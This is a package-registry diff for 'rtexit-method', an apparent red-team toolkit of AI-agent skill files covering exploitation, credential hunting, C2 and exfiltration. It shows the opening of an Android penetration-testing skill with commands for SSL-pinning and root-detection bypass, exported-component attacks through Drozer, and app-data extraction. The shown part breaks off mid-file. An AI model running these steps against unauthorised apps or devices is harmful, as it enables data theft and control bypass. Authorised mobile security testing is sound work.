rtexit-method 0.1.0 → 0.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (224) hide show
  1. package/package.json +9 -7
  2. package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
  3. package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
  4. package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
  5. package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
  6. package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
  7. package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
  8. package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
  9. package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
  10. package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
  11. package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
  12. package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
  13. package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
  14. package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
  15. package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
  16. package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
  17. package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
  18. package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
  19. package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
  20. package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
  21. package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
  22. package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
  23. package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
  24. package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
  25. package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
  26. package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
  27. package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
  28. package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
  29. package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
  30. package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
  31. package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
  32. package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
  33. package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
  34. package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
  35. package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
  36. package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
  37. package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
  38. package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
  39. package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
  40. package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
  41. package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
  42. package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
  43. package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
  44. package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
  45. package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
  46. package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
  47. package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
  48. package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
  49. package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
  50. package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
  51. package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
  52. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
  53. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
  54. package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
  55. package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
  56. package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
  57. package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
  58. package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
  59. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
  60. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
  61. package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
  62. package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
  63. package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
  64. package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
  65. package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
  66. package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
  67. package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
  68. package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
  69. package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
  70. package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
  71. package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
  72. package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
  73. package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
  74. package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
  75. package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
  76. package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
  77. package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
  78. package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
  79. package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
  80. package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
  81. package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
  82. package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
  83. package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
  84. package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
  85. package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
  86. package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
  87. package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
  88. package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
  89. package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
  90. package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
  91. package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
  92. package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
  93. package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
  94. package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
  95. package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
  96. package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
  97. package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
  98. package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
  99. package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
  100. package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
  101. package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
  102. package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
  103. package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
  104. package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
  105. package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
  106. package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
  107. package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
  108. package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
  109. package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
  110. package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
  111. package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
  112. package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
  113. package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
  114. package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
  115. package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
  116. package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
  117. package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
  118. package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
  119. package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
  120. package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
  121. package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
  122. package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
  123. package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
  124. package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
  125. package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
  126. package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
  127. package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
  128. package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
  129. package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
  130. package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
  131. package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
  132. package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
  133. package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
  134. package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
  135. package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
  136. package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
  137. package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
  138. package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
  139. package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
  140. package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
  141. package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
  142. package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
  143. package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
  144. package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
  145. package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
  146. package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
  147. package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
  148. package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
  149. package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
  150. package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
  151. package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
  152. package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
  153. package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
  154. package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
  155. package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
  156. package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
  157. package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
  158. package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
  159. package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
  160. package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
  161. package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
  162. package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
  163. package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
  164. package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
  165. package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
  166. package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
  167. package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
  168. package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
  169. package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
  170. package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
  171. package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
  172. package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
  173. package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
  174. package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
  175. package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
  176. package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
  177. package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
  178. package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
  179. package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
  180. package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
  181. package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
  182. package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
  183. package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
  184. package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
  185. package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
  186. package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
  187. package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
  188. package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
  189. package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
  190. package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
  191. package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
  192. package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
  193. package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
  194. package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
  195. package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
  196. package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
  197. package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
  198. package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
  199. package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
  200. package/packaged-assets/RTEXIT.md +127 -0
  201. package/tools/installer/commands/install.js +0 -1
  202. package/tools/installer/lib/asset-manifest.js +10 -5
  203. package/tools/installer/lib/banner.js +14 -6
  204. package/tools/installer/lib/copy-assets.js +5 -2
  205. package/tools/installer/lib/prompts.js +1 -11
  206. package/tools/installer/lib/write-config.js +8 -2
  207. /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
  208. /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
  209. /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
  210. /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
  211. /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
  212. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
  213. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
  214. /package/{resources → packaged-assets/resources}/certifications.md +0 -0
  215. /package/{resources → packaged-assets/resources}/payloads.md +0 -0
  216. /package/{resources → packaged-assets/resources}/tools.md +0 -0
  217. /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
  218. /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
  219. /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
  220. /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
  221. /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
  222. /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
  223. /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
  224. /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
@@ -0,0 +1,1329 @@
1
+ ---
2
+ name: rt-exploit-android
3
+ description: "Android application security testing skill (OWASP MASVS full). Covers APK extraction and decompilation with apktool/jadx, dynamic analysis with Frida and Objection, SSL pinning bypass, root detection bypass, exported components exploitation, insecure data storage extraction (SharedPreferences, SQLite, files), network traffic analysis, and MASVS checklist. Tools: adb, apktool, jadx, frida, objection, MobSF, Drozer."
4
+ ---
5
+
6
+ # rt-exploit-android — Android Application Security Testing
7
+
8
+ ## 1. Overview and When to Use
9
+
10
+ This skill covers end-to-end Android application penetration testing aligned with OWASP MASVS (Mobile Application Security Verification Standard). Use it when:
11
+
12
+ - A target organization has an Android app in scope (APK from Play Store, private beta, or enterprise MDM)
13
+ - You need to assess client-side controls: certificate pinning, root detection, data storage, exported components
14
+ - You are performing threat modeling for a mobile-first product
15
+ - The engagement includes API testing and the mobile client is the primary API consumer
16
+
17
+ **Scope of coverage:**
18
+ - Static analysis: APK unpacking, manifest review, source code review
19
+ - Dynamic analysis: runtime instrumentation with Frida/Objection, traffic interception
20
+ - Data storage analysis: SharedPreferences, SQLite, external storage, KeyStore
21
+ - Component security: exported Activities, Services, BroadcastReceivers, ContentProviders
22
+ - Network security: SSL pinning bypass, certificate validation weaknesses
23
+ - Anti-tampering bypass: root detection, emulator detection, integrity checks
24
+
25
+ ---
26
+
27
+ ## 2. Prerequisites and Setup
28
+
29
+ ### 2.1 Hardware / Environment
30
+
31
+ - Rooted Android device (physical preferred) OR Android emulator with root (AVD with Google APIs image, or Genymotion)
32
+ - USB debugging enabled on device (`adb devices` must show the device)
33
+ - Test machine running Linux or Windows with WSL2
34
+
35
+ ### 2.2 Tool Installation
36
+
37
+ #### adb (Android Debug Bridge)
38
+ ```bash
39
+ # Ubuntu/Debian
40
+ sudo apt install adb
41
+
42
+ # macOS
43
+ brew install android-platform-tools
44
+
45
+ # Windows (via Chocolatey)
46
+ choco install adb
47
+
48
+ # Verify
49
+ adb version
50
+ adb devices
51
+ ```
52
+
53
+ #### apktool
54
+ ```bash
55
+ # Download latest jar from https://apktool.org
56
+ wget https://github.com/iBotPeaches/Apktool/releases/download/v2.9.3/apktool_2.9.3.jar -O apktool.jar
57
+ wget https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool -O apktool
58
+ chmod +x apktool
59
+ sudo mv apktool /usr/local/bin/
60
+ sudo mv apktool.jar /usr/local/bin/
61
+
62
+ apktool --version
63
+ ```
64
+
65
+ #### jadx (Java Decompiler)
66
+ ```bash
67
+ # Download from https://github.com/skylot/jadx/releases
68
+ wget https://github.com/skylot/jadx/releases/download/v1.5.0/jadx-1.5.0.zip
69
+ unzip jadx-1.5.0.zip -d jadx
70
+ sudo ln -s $(pwd)/jadx/bin/jadx /usr/local/bin/jadx
71
+ sudo ln -s $(pwd)/jadx/bin/jadx-gui /usr/local/bin/jadx-gui
72
+
73
+ jadx --version
74
+ ```
75
+
76
+ #### Frida
77
+ ```bash
78
+ # Install frida-tools on test machine
79
+ pip3 install frida-tools
80
+
81
+ # Install frida-server on device (match version to frida-tools)
82
+ frida --version # e.g., 16.2.1
83
+
84
+ # Download matching frida-server for arm64 (most modern devices)
85
+ wget https://github.com/frida/frida/releases/download/16.2.1/frida-server-16.2.1-android-arm64.xz
86
+ xz -d frida-server-16.2.1-android-arm64.xz
87
+
88
+ # Push and start on device
89
+ adb push frida-server-16.2.1-android-arm64 /data/local/tmp/frida-server
90
+ adb shell chmod 755 /data/local/tmp/frida-server
91
+ adb shell /data/local/tmp/frida-server &
92
+
93
+ # Verify
94
+ frida-ps -U
95
+ ```
96
+
97
+ #### Objection
98
+ ```bash
99
+ pip3 install objection
100
+ objection --help
101
+ ```
102
+
103
+ #### MobSF (Mobile Security Framework)
104
+ ```bash
105
+ # Docker (recommended)
106
+ docker pull opensecurity/mobile-security-framework-mobsf:latest
107
+ docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
108
+
109
+ # Access at http://localhost:8000
110
+ ```
111
+
112
+ #### Drozer
113
+ ```bash
114
+ pip3 install drozer
115
+
116
+ # Install drozer agent APK on device
117
+ wget https://github.com/WithSecureLabs/drozer/releases/download/2.4.4/drozer-agent-2.4.4.apk
118
+ adb install drozer-agent-2.4.4.apk
119
+
120
+ # Forward port
121
+ adb forward tcp:31415 tcp:31415
122
+
123
+ # Connect
124
+ drozer console connect
125
+ ```
126
+
127
+ ### 2.3 Environment Checks
128
+ ```bash
129
+ # Confirm ADB sees device
130
+ adb devices
131
+
132
+ # Confirm root access
133
+ adb shell su -c 'id'
134
+
135
+ # Confirm frida-server is running
136
+ frida-ps -U | head -20
137
+
138
+ # Confirm USB debugging and target app is installed
139
+ adb shell pm list packages | grep <target>
140
+ ```
141
+
142
+ ---
143
+
144
+ ## 3. Skill Levels
145
+
146
+ ### BEGINNER — Static Reconnaissance
147
+
148
+ Focus: APK extraction, manifest review, string hunting
149
+
150
+ ```bash
151
+ # Pull APK from device (app must be installed)
152
+ adb shell pm path com.target.app
153
+ # Output: package:/data/app/com.target.app-1/base.apk
154
+ adb pull /data/app/com.target.app-1/base.apk target.apk
155
+
156
+ # Decode with apktool (resources + smali)
157
+ apktool d target.apk -o target_decoded
158
+
159
+ # Review AndroidManifest.xml
160
+ cat target_decoded/AndroidManifest.xml
161
+
162
+ # Find exported components (android:exported="true")
163
+ grep -r 'exported="true"' target_decoded/AndroidManifest.xml
164
+
165
+ # Decompile to Java with jadx
166
+ jadx -d target_jadx target.apk
167
+
168
+ # Find hardcoded secrets
169
+ grep -rn "apikey\|api_key\|password\|secret\|token\|AWS\|Bearer" target_jadx/
170
+
171
+ # Find URLs and endpoints
172
+ grep -rn "http://\|https://" target_jadx/ | grep -v "schemas.android\|w3.org"
173
+
174
+ # Find Firebase config
175
+ grep -rn "firebaseio\|firebase" target_jadx/
176
+
177
+ # Check for debug flags
178
+ grep -rn "debuggable\|BuildConfig.DEBUG" target_jadx/
179
+ ```
180
+
181
+ ### INTERMEDIATE — Dynamic Analysis and Traffic Interception
182
+
183
+ Focus: Objection, Frida basics, Burp proxy, SSL bypass
184
+
185
+ ```bash
186
+ # Launch app with objection attached
187
+ objection -g com.target.app explore
188
+
189
+ # Inside objection REPL:
190
+ # List activities
191
+ android hooking list activities
192
+
193
+ # Dump keystore
194
+ android keystore list
195
+
196
+ # List SharedPreferences files
197
+ android filesystem list /data/data/com.target.app/shared_prefs/
198
+
199
+ # Print SharedPreferences content
200
+ android filesystem get /data/data/com.target.app/shared_prefs/prefs.xml
201
+
202
+ # SSL pinning bypass (one-liner)
203
+ android sslpinning disable
204
+
205
+ # Root detection bypass
206
+ android root disable
207
+
208
+ # Dump memory strings
209
+ memory search --string "password"
210
+
211
+ # List loaded classes
212
+ android hooking list classes | grep -i ssl
213
+
214
+ # Hook a method
215
+ android hooking watch class_method com.target.app.network.ApiClient.getToken --dump-args --dump-return
216
+
217
+ # Configure Burp as proxy for device
218
+ # In Burp: Proxy > Options > Add listener on *:8080
219
+ adb shell settings put global http_proxy <LHOST>:8080
220
+ # Restore after session:
221
+ adb shell settings put global http_proxy :0
222
+ ```
223
+
224
+ ### ADVANCED — Custom Frida Scripts, Component Exploitation, Data Extraction
225
+
226
+ Focus: Custom instrumentation, Drozer component attacks, deep data extraction
227
+
228
+ ```bash
229
+ # Hook class constructor to dump instantiation args
230
+ frida -U -l hook_constructor.js com.target.app
231
+
232
+ # Enumerate all exported activities via Drozer
233
+ drozer console connect
234
+ run app.activity.info -a com.target.app
235
+ run app.activity.start --component com.target.app com.target.app.ui.AdminActivity
236
+
237
+ # Enumerate exported content providers
238
+ run app.provider.info -a com.target.app
239
+ run app.provider.query content://com.target.app.provider/users
240
+ run app.provider.query content://com.target.app.provider/users --selection "1=1--"
241
+
242
+ # Enumerate exported services
243
+ run app.service.info -a com.target.app
244
+
245
+ # Enumerate exported broadcast receivers
246
+ run app.broadcast.info -a com.target.app
247
+ run app.broadcast.send --action com.target.app.RESET_PASSWORD --extra string email admin@target.com
248
+
249
+ # Extract SQLite databases
250
+ adb shell su -c "cp -r /data/data/com.target.app/databases /sdcard/db_dump"
251
+ adb pull /sdcard/db_dump ./db_dump
252
+ sqlite3 db_dump/app.db .dump
253
+ sqlite3 db_dump/app.db ".tables"
254
+ sqlite3 db_dump/app.db "SELECT * FROM users;"
255
+
256
+ # Extract all app data (root required)
257
+ adb shell su -c "tar -czf /sdcard/app_data.tar.gz /data/data/com.target.app"
258
+ adb pull /sdcard/app_data.tar.gz
259
+ tar -xzf app_data.tar.gz
260
+
261
+ # Check external storage for sensitive data
262
+ adb shell ls /sdcard/Android/data/com.target.app/
263
+ adb pull /sdcard/Android/data/com.target.app/
264
+
265
+ # Check log leakage
266
+ adb logcat | grep -i "com.target.app\|password\|token\|key"
267
+ ```
268
+
269
+ ### EXPERT — Anti-Analysis Bypass, Kernel-Level Hooks, Custom APK Patching
270
+
271
+ Focus: Patching APK for debug, bypassing advanced root detection, multi-dex apps
272
+
273
+ ```bash
274
+ # Patch APK to set android:debuggable="true"
275
+ apktool d target.apk -o patched
276
+ # Edit patched/AndroidManifest.xml: add android:debuggable="true" to <application>
277
+ sed -i 's/<application /<application android:debuggable="true" /' patched/AndroidManifest.xml
278
+ apktool b patched -o patched.apk
279
+
280
+ # Re-sign patched APK
281
+ keytool -genkey -v -keystore test.keystore -alias test -keyalg RSA -keysize 2048 -validity 10000 -storepass password -keypass password -dname "CN=Test,OU=Test,O=Test,L=Test,ST=Test,C=US"
282
+ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore test.keystore -storepass password patched.apk test
283
+ zipalign -v 4 patched.apk patched_aligned.apk
284
+ adb install patched_aligned.apk
285
+
286
+ # Bypass advanced root detection with custom Frida script
287
+ frida -U -l bypass_root_advanced.js --no-pause com.target.app
288
+
289
+ # Spawn app with Frida (bypass anti-attach)
290
+ frida -U -f com.target.app -l ssl_bypass.js --no-pause
291
+
292
+ # Handle split APKs (bundle)
293
+ bundletool build-apks --bundle=target.aab --output=target.apks --mode=universal
294
+ unzip target.apks -d apks_extracted
295
+ # Then process universal.apk as normal
296
+
297
+ # Decompile multi-dex
298
+ jadx -d output --deobf target.apk
299
+ # If jadx fails on specific dex, extract and process individually
300
+ unzip target.apk -d raw
301
+ dex2jar raw/classes2.dex -o classes2-dex2jar.jar
302
+ jadx -d output2 classes2-dex2jar.jar
303
+ ```
304
+
305
+ ---
306
+
307
+ ## 4. Step-by-Step Numbered Workflow
308
+
309
+ ### Phase 1: Reconnaissance and APK Acquisition
310
+
311
+ 1. Identify the package name from the Play Store URL or app listing
312
+ ```bash
313
+ # URL format: https://play.google.com/store/apps/details?id=com.target.app
314
+ # Package name: com.target.app
315
+ ```
316
+
317
+ 2. Install the APK on your test device via Play Store or direct install
318
+ ```bash
319
+ adb install target.apk
320
+ # Or if pulling from device where it's already installed:
321
+ adb shell pm path com.target.app
322
+ adb pull <path_from_above> target.apk
323
+ ```
324
+
325
+ 3. Alternatively, download APK without a device using APKPure or apkeep
326
+ ```bash
327
+ pip3 install apkeep
328
+ apkeep -a com.target.app -d APKPure .
329
+ ```
330
+
331
+ ### Phase 2: Static Analysis
332
+
333
+ 4. Decode APK with apktool to get manifest and smali
334
+ ```bash
335
+ apktool d target.apk -o target_static -f
336
+ ```
337
+
338
+ 5. Decompile to Java source with jadx
339
+ ```bash
340
+ jadx -d target_java --deobf --deobf-min 3 --deobf-use-sourcename target.apk 2>/dev/null
341
+ ```
342
+
343
+ 6. Review AndroidManifest.xml for attack surface
344
+ ```bash
345
+ # Check minSdkVersion, targetSdkVersion
346
+ grep -i "sdk\|versionName\|versionCode" target_static/AndroidManifest.xml
347
+
348
+ # Find all exported components
349
